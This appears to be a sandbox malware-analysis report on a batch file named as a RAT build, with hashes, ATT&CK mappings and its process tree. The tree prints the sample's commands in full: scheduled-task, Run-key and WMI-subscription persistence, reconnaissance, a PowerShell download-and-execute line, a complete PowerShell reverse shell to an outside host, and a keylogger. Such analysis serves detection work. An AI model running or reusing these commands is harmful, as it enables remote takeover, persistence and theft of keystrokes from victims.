47b94f80e0873084731cb2d65f98c6bf8087740ffd88acc81093c2c6fa680d7c

Analysis

max time kernel
149s
max time network
145s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
29/05/2026, 00:43

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General

Target
rat_build_01839_014116.bat
Size 4KB
Sample260529-a3d4yafs21
SHA256 47b94f80e0873084731cb2d65f98c6bf8087740ffd88acc81093c2c6fa680d7c
MD5 8903ad43a43fe23996c205aa1f397ae3
SHA1 a4d0aeb2b22aba3c1b4543eb8aae4a430a1d2349
SHA512 8532d0a28a741b71e5076e2bd25b4b896f53e94cb1098c24e8bdad4b85e46f7b94656fea5ba3c4276c9b7e18e49705ddbeb0890b48ede1fc1f4681b26685c154
SSDEEP 96:vIvCPwWGne6U3dgz7JcUlyVnuhDJtpaw/rutBjNPgNR3iFgZk8mvlo1Nl6eAZg6j:vrPjGnerg7enMVGw6TNPSiFgkHlil6ln
TLSH
T1DDB108239B5B61208AB01759D9333858539CD5FB1340D98EFB4CCDD94A5DE43906C6F3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_1839.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4968	powershell.exe
1672	powershell.exe
4924	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_1839 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_1839.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1600	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5788	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4600	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1792	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4620	WMIC.exe
4620	WMIC.exe
4620	WMIC.exe
4620	WMIC.exe
4684	WMIC.exe
4684	WMIC.exe
4684	WMIC.exe
4684	WMIC.exe
4968	powershell.exe
4968	powershell.exe
1672	powershell.exe
1672	powershell.exe
4924	powershell.exe
4924	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4620	WMIC.exe
Token: SeSecurityPrivilege	4620	WMIC.exe
Token: SeTakeOwnershipPrivilege	4620	WMIC.exe
Token: SeLoadDriverPrivilege	4620	WMIC.exe
Token: SeSystemProfilePrivilege	4620	WMIC.exe
Token: SeSystemtimePrivilege	4620	WMIC.exe
Token: SeProfSingleProcessPrivilege	4620	WMIC.exe
Token: SeIncBasePriorityPrivilege	4620	WMIC.exe
Token: SeCreatePagefilePrivilege	4620	WMIC.exe
Token: SeBackupPrivilege	4620	WMIC.exe
Token: SeRestorePrivilege	4620	WMIC.exe
Token: SeShutdownPrivilege	4620	WMIC.exe
Token: SeDebugPrivilege	4620	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4620	WMIC.exe
Token: SeRemoteShutdownPrivilege	4620	WMIC.exe
Token: SeUndockPrivilege	4620	WMIC.exe
Token: SeManageVolumePrivilege	4620	WMIC.exe
Token: 33	4620	WMIC.exe
Token: 34	4620	WMIC.exe
Token: 35	4620	WMIC.exe
Token: 36	4620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4620	WMIC.exe
Token: SeSecurityPrivilege	4620	WMIC.exe
Token: SeTakeOwnershipPrivilege	4620	WMIC.exe
Token: SeLoadDriverPrivilege	4620	WMIC.exe
Token: SeSystemProfilePrivilege	4620	WMIC.exe
Token: SeSystemtimePrivilege	4620	WMIC.exe
Token: SeProfSingleProcessPrivilege	4620	WMIC.exe
Token: SeIncBasePriorityPrivilege	4620	WMIC.exe
Token: SeCreatePagefilePrivilege	4620	WMIC.exe
Token: SeBackupPrivilege	4620	WMIC.exe
Token: SeRestorePrivilege	4620	WMIC.exe
Token: SeShutdownPrivilege	4620	WMIC.exe
Token: SeDebugPrivilege	4620	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4620	WMIC.exe
Token: SeRemoteShutdownPrivilege	4620	WMIC.exe
Token: SeUndockPrivilege	4620	WMIC.exe
Token: SeManageVolumePrivilege	4620	WMIC.exe
Token: 33	4620	WMIC.exe
Token: 34	4620	WMIC.exe
Token: 35	4620	WMIC.exe
Token: 36	4620	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4684	WMIC.exe
Token: SeSecurityPrivilege	4684	WMIC.exe
Token: SeTakeOwnershipPrivilege	4684	WMIC.exe
Token: SeLoadDriverPrivilege	4684	WMIC.exe
Token: SeSystemProfilePrivilege	4684	WMIC.exe
Token: SeSystemtimePrivilege	4684	WMIC.exe
Token: SeProfSingleProcessPrivilege	4684	WMIC.exe
Token: SeIncBasePriorityPrivilege	4684	WMIC.exe
Token: SeCreatePagefilePrivilege	4684	WMIC.exe
Token: SeBackupPrivilege	4684	WMIC.exe
Token: SeRestorePrivilege	4684	WMIC.exe
Token: SeShutdownPrivilege	4684	WMIC.exe
Token: SeDebugPrivilege	4684	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4684	WMIC.exe
Token: SeRemoteShutdownPrivilege	4684	WMIC.exe
Token: SeUndockPrivilege	4684	WMIC.exe
Token: SeManageVolumePrivilege	4684	WMIC.exe
Token: 33	4684	WMIC.exe
Token: 34	4684	WMIC.exe
Token: 35	4684	WMIC.exe
Token: 36	4684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4684	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4192 wrote to memory of 1792	4192	cmd.exe	83
PID 4192 wrote to memory of 4600	4192	cmd.exe	84
PID 4192 wrote to memory of 4620	4192	cmd.exe	85
PID 4192 wrote to memory of 4684	4192	cmd.exe	86
PID 4192 wrote to memory of 5816	4192	cmd.exe	87
PID 4192 wrote to memory of 5788	4192	cmd.exe	88
PID 4192 wrote to memory of 1600	4192	cmd.exe	92
PID 4192 wrote to memory of 4968	4192	cmd.exe	93
PID 4192 wrote to memory of 1672	4192	cmd.exe	94
PID 4192 wrote to memory of 4924	4192	cmd.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.7.1

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_01839_014116.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_1839" /tr "C:\Users\Admin\AppData\Local\Temp\_1839.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1792
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_1839" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_1839.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4600
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_1839", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4620
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_1839", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_1839.bat"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_1839.txt
  2⤵
  PID:5816
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5788
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_1839.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b7066910b871500648f169c9f359c2f0ba6fafd7403a3f2621ca07aa058f09a7
MD5 7d2647ca2716fd0d51d247f8dacb073e
SHA1 46231701f7fd0266829ebf80c3ea6e9fdb80e886
SHA512 4ac61c4329dc76eb954931292721520cc72b20bb61b75ef3ce2d2fe2766472050e430ef300ef44364c6077fdc135960522ddd00ef7eec19f78b839371412b18e
TLSH
T172115723B79DC961CC85453B409D9D6175B2D7C7809EDE9B6FC4C208A07F588CB211A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1365b85e44b91530238fba7f50ca1124878b209920e919b5e07b521ba495f462
MD5 95fea718c1a137b5df858344d001376e
SHA1 5acfd93b32c1cf079523b562bec198f5983b9c3c
SHA512 4c122605b81b2f3af6e670d38deaa4ceb4fea57d0a1cf225418089c3dd3ef5117b0437574e3ea23b5ecde165c9db894509e431c006adb76b572578342d31f88d
TLSH
T19C113463B79DC9A1CC85553A409D9D6175B6D7C7809EDEDB2EC4C208A07F588CB211A0
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_vtodm3pe.vum.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vtodm3pe.vum.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4968-3-0x000001F662690000-0x000001F6626B2000-memory.dmp

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